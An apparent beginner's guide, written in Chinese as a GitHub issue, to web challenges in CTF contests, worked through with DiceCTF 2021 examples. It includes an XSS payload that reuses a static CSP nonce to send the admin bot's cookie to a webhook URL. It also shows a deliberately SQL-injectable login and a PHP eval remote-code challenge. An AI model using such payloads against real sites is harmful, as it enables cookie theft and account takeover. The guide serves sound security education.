Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

該如何入門 CTF 中的 Web 題? #74

Open
aszx87410 opened this issue Feb 25, 2021 · 0 comments
Open

該如何入門 CTF 中的 Web 題? #74

aszx87410 opened this issue Feb 25, 2021 · 0 comments
Labels
Security Security

Comments

@aszx87410
Copy link
Owner

前言

知道 CTF 這東西很久了,但直到前陣子才真正去參加了線上辦的 CTF 比賽,不過因為會的東西有限,只能打 web 題,或是剛好有涉獵的 misc 題。雖然本來就覺得 CTF 很有趣,但實際去玩了以後收穫比我想像中的還多。

身為一個前端工程師,知道各種前端相關的知識十分合理,然後又因為看得文章夠多,所以除了一些新的特性以外,平時比較難有那種:「哇!居然可以這樣」的感覺。但在用心打 CTF 的兩個假日裡面,我獲得了數次這種感覺,而且是:「哇靠!!!!居然可以這樣嗎!!!」,明明就屬於前端的範疇,但我卻從來都不知道還可以這樣。

我認為前後端工程師去打 CTF 的 web 題,可以補足前後端相關的知識,而且這種知識是你平常在工作中或是生活中很難獲得的,但卻在資訊安全的領域很常見。想要防禦,就必須先知道怎麼攻擊。

因此這篇就稍微分享一下 CTF 是什麼,該如何參加,又該怎麼解題。

什麼是 CTF

其實可以先參考這兩篇文章:

  1. 跨出成為駭客的第一步,來打打看 CTF Web 吧!
  2. Day1: [Misc] What is CTF ?

不免俗地還是要講一下 CTF 的全名 Capture The Flag,奪旗。而現在講 CTF 指的應該都是以拿到「flag」為目標的遊戲或是比賽之類的。其實底下還有細分不同種模式,這篇講的會是最常見的 Jeopardy 模式,只要拿到 flag 然後在網站上送出,就可以拿到這題的分數。

而這個「flag」通常會是一個字串,帶有特定格式讓你能區分出來它是 flag。flag 可能會藏在各個地方,例如說圖片裡面啦,或者是機器內的某個檔案之類的,而你的目標就是找出這個 flag,就獲勝了。

對我來說這模式其實並不陌生,大家以前有玩過「高手過招」嗎?在高手過招裡面雖然不是以拿到一個固定的 flag 為目標,但「找到前往下一關的方法」其實就跟 flag 差不多。

之前做給學生玩的:Lidemy HTTP Challenge 還有 r3:0 異世界網站挑戰 其實也是類似的模式,找到某個 token(flag) 之後就可以前往下一關。

可是有太多地方都可以放 flag 了,難道要我們大海撈針去找嗎?有些時候可能是,但大多數時候其實並不是,有些是題目敘述就會跟你講說 flag 在哪裡,就算沒有告訴你,通常也會放在固定幾個位置。

為了讓大家更進入狀況,知道我在講什麼,我們就直接來看一下一些已經結束的 CTF 比賽,直接從畫面跟題目跟大家講解到底要做什麼。

以 DiceCTF 2021 為例

DiceCTF 2021 是前陣子剛結束的一個比賽,我直接用裡面的題目來做講解,這是一個在 CTF 比賽中很常看到的介面:

右上角是有多少人解出來以及這題的分數,在 CTF 比賽中分數是會變動的,越多人解開的題目分數就會越低。假設一開始是 500 分,100 個人解出來之後可能變成 50 分。而你拿到的分數跟「解開的時間」無關,就算你是第一個解開的(那時候是 500 分),在結算時也會用 50 分來計算。

而裡面也附上了題目敘述、網址跟讓你送出 flag 的地方,還有一個 admin bot,我們來看一下這是什麼:

這是我想跟大家介紹的第一種類型,我們就簡單稱之為「bot 類型」好了。在這種類型的題目中會有像上面這樣的網頁,讓你可以填入一個網址送出。而你填入網址之後,背後就會有一個 bot 去造訪你填入的網址(通常都是用 headless chrome 來做)。

那為什麼要這樣做呢?請注意原本題目敘述寫的:

The admin will set a cookie secret equal to config.secret in index.js.

在這種類型的題目中,會需要有一個 bot 造訪你提供的網址,通常是因為 flag 或是拿到 flag 的線索就藏在 bot 的 cookie 裡面。所以你要想辦法對 bot XSS 或是進行其他攻擊,然後把 cookie 偷出來。

仔細想想其實會發現滿合理的,因為如果要 XSS 的話一定要有對象嘛,而這個對象就是這個 admin bot。而這一題還有附上 source code:

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

可以發現你能夠用 ?name=123 帶輸入進去,然後會跟著一起被輸出出來,所以綜合以上知識,你要做的就是:

  1. 找出上述程式碼的漏洞,讓你可以進行 XSS
  2. 假設第一步驟達成,而且最後能進行 XSS 的網址是 A,使用者一進入網址 A 就會被 XSS 攻擊
  3. 把網址 A 填入 admin bot 並送出,讓 admin bot 造訪網址 A
  4. admin bot 成功被 XSS,而你也順利把 cookie 偷出來

只要你能 XSS,在沒有其他限制的狀況下把 cookie 偷出來很簡單,假設你有一台 server 網址是:http://example.com,你只要執行:fetch('http://example.com?flag=' + document.cookie),網頁就會把 document.cookie 當成 url 的一部分一起發送到 example.com,而你可以看 server 的 access log,就會知道 cookie 裡面到底有什麼內容。

這邊推薦大家一個很好用的網站:https://webhook.site/

它可以幫你產生一個網址,然後任何被發送到網址的 request 都會被記錄下來:

今天我發送一個 request 到:https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag=hello,畫面就會變成這樣:

有了這個能夠觀看 request 紀錄的地方,就可以不需要自己架 server,而是透過這個服務來接收你想傳送的資料。

像是這種題型通常都是要你對 admin bot XSS 或是結合其他攻擊手法,以上面這題為例,雖然有用 CSP + nonce 但仔細觀察會發現 nonce 不會變,因此只要拿到固定的 nonce 就可以 XSS。

如果網址是:https://babier-csp.dicec.tf/?name=apple 的話,網站內容就是:

<html>

<h1>apple</h1>
<a href='#' id=elem>View Fruit</a>

<script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>

那如果我的 name 改成:</h1><script nonce="+ZSveZwTAUqC6Pt9p+rgUg==">window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie</script>

url 就是:https://babier-csp.dicec.tf/?name=%3C/h1%3E%3Cscript%20nonce=%22%2bZSveZwTAUqC6Pt9p%2brgUg==%22%3Ewindow.location=%27https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag=%27%2bdocument.cookie%3C/script%3E

最後產生的網頁內容就是:

<html>
<h1></h1><script nonce="+ZSveZwTAUqC6Pt9p+rgUg==">window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie</script></h1>
<a href='#' id=elem>View Fruit</a>

<script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>

把這個網址拿去給 admin bot,admin bot 就會去造訪這網頁,然後執行 window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie,就會把它的 cookie 發送到我們的 webhook 去,就可以在剛剛的介面中看到 admin 的 cookie 內容:

根據拿到的 secret 以及上面的程式碼,造訪 /secret 之後會看到:

Hi! You should view source!

<!-- 

I'm glad you made it here, there's a flag!

<b>dice{web_1s_a_stat3_0f_grac3_857720}</b>

If you want more CSP, you should try Adult CSP.

-->

dice{web_1s_a_stat3_0f_grac3_857720}就是 flag,把這個 flag 拿去網頁介面送出,就可以拿到分數,通過這關。每一場 CTF 通常都會有固定的 flag 格式,以這場而言就是 dice{}

以上就是解這種題型的完整歷程:

  1. 查看程式碼找出漏洞,構造一個可以執行攻擊的網址
  2. 把網址送給 admin bot 去造訪
  3. admin 受到攻擊,偷到 admin 的 cookie
  4. 拿到 flag

為什麼這類型的題目都要把 flag 或是其他線索放在 cookie 呢?因為在實際攻擊的場合中,通常也是以拿到 cookie 為最終目標,所以這樣設計其實也滿合理的。只要拿到 cookie 通常也就代表拿到使用者的 token 或 credential(前提是沒有設定 httponly 啦,不然就拿不到了)。

接著我們再來看一題:

一樣有附上程式碼:

const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

像這一題就不需要什麼 XSS,因為根據程式碼,你必須讓 SQL query 可以正常執行,最後就會進入到:if (id) return res.sendFile('flag.html', { root: __dirname });,就可以看到 flag。

所以像是這種題目就順著做就好,目標就是要繞過他那個檢查。至於怎麼繞過,就留給大家自己想了。

其他常見題型

原本想舉其他 CTF 比賽當例子的,但大多數 CTF 比賽的網頁都只有比賽進行的時候會開著,結束後過幾天就關了。如果當初打的時候沒有截圖下來,就比較難重現當初的步驟。

在 CTF 中其實很多題目是混合的,需要結合不同的攻擊手法才能解開。對有些初學者來說比較難的可能是「不知道從何下手」,不知道到底 flag 會放在哪邊,看到題目也不知道要幹嘛,因此底下我簡單介紹幾種下手方式。

SQL Injection

像這類型的題目,flag 通常都放在資料庫的某處,你要透過 SQL Injection 的方式把 flag 找出來。但也要注意一點,那就是在 CTF 中許多題目其實是有很多關卡的,有可能 SQL Injection 是第一關,你會在 database 裡面找到前往下一關的線索,然後下一關可能是其他類型的題目之類的。

RCE

RCE,全名 Remote Code Evaluation,意思就是你可以遠端在其他人的電腦上面執行程式碼。以 BambooFox CTF 2021 的 ヽ(#`Д´)ノ 這題為例,就給了這樣一段程式碼:

 <?= 
 	highlight_file(__FILE__) &&
 	strlen($🐱=$_GET['ヽ(#`Д´)ノ'])<0x0A &&
 	!preg_match('/[a-z0-9`]/i',$🐱) &&
 	eval(print_r($🐱,1)); 

最後一個步驟是 eval,所以如果前面的判斷都通過了,你就可以執行任何你想執行的程式碼。像這種題目通常都會需要執行 shell_exec 之類的函式,例如說:shell_exec('ls /') 就可以把根目錄的檔案印出來,而 flag 就放在主機的某個位置。

有些題目會直接提示在哪裡,沒有提示的可以先找找看 /~ 或是 ./flag, ./flag.txt 之類的地方,都是滿常會放置 flag 的位置。

因此這題的目標就是要繞過判斷,好讓我們可以在主機上執行任意程式碼來找到 flag。

不給程式碼的題型

有些題目是不給程式碼的,就給你一個網址然後要你找到 flag。這類型的有可能是 SQL injection,也有可能是 RCE 或是 SSTI,這些都有可能。所以就是要從網站中尋找各種蛛絲馬跡,來看要採取什麼方式進行攻擊,找出網站的漏洞。

碰到一些「你知道大概屬於什麼類型,但不知道怎麼攻擊」的狀況時,Google 是你的好朋友。例如說我知道這題可能是 SQL injection,但我不會打,我就可以搜尋:「sql injection cheat sheet」或是「sql injection ctf」之類的關鍵字,通常都可以找到很多有用的資料。

關於繞過限制,也可以用 bypass 這個關鍵字,例如說「csp bypass」,「xss bypass」之類的。

總結

這篇真的只是簡單介紹一下 CTF 裡面常出現的 web 題的目標,通常是:

  1. 繞過某些限制
  2. 想辦法 RCE 並找出 flag
  3. 對 bot 進行 XSS
  4. 在資料庫中找到 flag

雖然說 flag 看似難找,但其實題目通常都會給一定的線索,而且 flag 放的位置通常就那幾個比較有可能,打的題目多了就會熟練了。

對於資安這塊不熟悉的人如果想接觸 Web 相關的領域,我推薦 PortSwigger 的 Web Security Academy 系列,裡面列出了很多種攻擊手法,而且還有網站可以讓你練習。

如果想試試看參加 CTF 比賽,可以看 CTF Time 這個網站,上面會有時程表,你可以找到已經辦過跟正要舉辦的比賽,報名方式很簡單,就只要註冊就行了,接著就是等比賽開始然後開始打題目。

這篇之所以是介紹「怎麼開始打 Web CTF」而不是講「我從 CTF 中學到的 web 技巧」,是因為我覺得那些學到的技巧,直接寫出來是沒有什麼用的。CTF 的解法最美妙的一點就在「你有努力想過」,這很重要。

舉例來說,如果我現在給你一個題目,然後讓你想五分鐘,五分鐘之後跟你講答案,你可能會覺得「喔,原來是這樣」。但如果給你五個小時,然後這五個小時之中你試遍了各種方法都解不開,這時候跟你講解法,你大概會:「哇操!!!!太神了吧!!!可以這樣解喔!!!」,而這是只有花時間付出的人可以體會到的樂趣。

在沒有努力思考之前直接把解法講出來就會大幅度減少這種樂趣。

還有一點我覺得很棒,那就是 CTF 比賽結束之後通常都會有每個參賽者的 writeup,可以想成就是解法的筆記,會敘述自己怎麼思考然後用什麼方法把題目解開的,一個題目可能不只有一個解法,可以從其他人的解法中學習到很多。

如果你是有些經驗的前後端工程師,非常推薦大家接觸一下資安的領域,透過 CTF 比賽學習各種前後端的攻擊方法,有可能會讓你大開眼界,得到很多新的知識,讓你能寫出更安全的網站。

@aszx87410 aszx87410 added the Security Security label Feb 25, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Security Security
Projects
None yet
Development

No branches or pull requests

1 participant